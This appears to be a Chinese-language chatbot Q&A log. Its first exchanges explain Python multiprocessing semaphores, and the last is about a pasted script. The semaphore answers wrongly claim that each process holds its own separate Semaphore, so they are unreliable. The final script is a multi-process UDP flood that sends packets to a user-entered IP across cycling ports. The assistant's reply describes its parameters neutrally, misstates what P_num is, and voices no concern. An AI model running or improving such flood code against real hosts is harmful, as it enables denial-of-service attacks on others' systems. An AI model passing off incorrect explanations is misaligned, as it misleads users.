import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working...") finally: time.sleep(10) semaphore.release() if __name__ == '__main__': # 指定信号量为3 semaphores = multiprocessing.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) # 获取当前剩余的信号量 print(f"剩余信号量：{semaphores.value}") workers.append(worker_process) worker_process.start()

这段代码是一个使用`multiprocessing.Semaphore`实现进程间同步的示例。首先，我们定义了一个`worker`函数，其中`semaphore`参数是一个`multiprocessing.Semaphore`对象，用于控制并发访问的数量。在`worker`函数中，我们首先调用`semaphore.acquire()`方法获取一个信号量，表示当前进程需要占用一个资源。然后，我们打印当前进程的工作编号和时间，并在`finally`块中释放信号量，表示当前进程已经完成了任务，可以让其他进程获取资源。在释放信号量之前，我们使用`time.sleep(10)`模拟当前进程正在处理任务的过程。

在`if __name__ == '__main__':`块中，我们首先定义了一个初始值为3的信号量对象`semaphores`，表示最多只能有3个进程同时访问共享资源。然后，我们创建10个进程，每个进程都调用`worker`函数，并传入`semaphores`作为参数。在创建进程之前，我们使用`semaphores.value`获取当前剩余的信号量数量，并打印出来，以便观察。最后，我们启动所有进程，让它们并发执行。

需要注意的是，由于`multiprocessing.Semaphore`是进程间同步的机制，因此在`if __name__ == '__main__':`块中创建的`semaphores`对象和`worker`函数中传入的`semaphores`对象并不是同一个对象，而是通过进程间通信实现的。

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import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working... 剩余信号量：{semaphore.get_value()}") finally: time.sleep(10) semaphore.release() if name == 'main': # 指定信号量为3 semaphores = multiprocessing.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) workers.append(worker_process) worker_process.start() 此段代码，为什么输出3次之后信号量都是0

这是因为在多进程中，每个进程拥有自己独立的内存空间，所以每个进程都会创建一个自己的Semaphore对象。在这段代码中，你创建了10个进程，每个进程都会调用worker函数，并且每个进程都会独立地获取和释放信号量。因此，当有3个进程同时获取了信号量之后，剩余的信号量数量就变成了0，其他进程就无法再获取信号量了。

如果你想让10个进程共享同一个Semaphore对象，可以使用multiprocessing.Manager来创建一个共享对象。例如，可以这样修改代码：

import multiprocessing
import datetime
import time

def worker(semaphore, count):
    with semaphore:
        now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
        try:
            print(f"{now}: Work {count} is working... 剩余信号量：{semaphore.get_value()}")
        finally:
            time.sleep(10)

if __name__ == '__main__':
    # 创建共享Semaphore对象
    manager = multiprocessing.Manager()
    semaphores = manager.Semaphore(3)

    workers = []
    for i in range(10):
        worker_process = multiprocessing.Process(target=worker, args=(semaphores, i))
        workers.append(worker_process)
        worker_process.start()

这样就可以让10个进程共享同一个Semaphore对象了。

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数，用于进行攻击。它的参数是"P_num"，"ip"和"port"。其中，"P_num"表示攻击使用的进程数，"ip"表示目标IP地址，"port"表示目标端口号。

在函数中，导入了一些必要的Python库，包括"sys"、"os"、"time"和"socket"等。同时，还导入了"random"库，用于生成随机数。

该函数的具体实现需要看更多代码。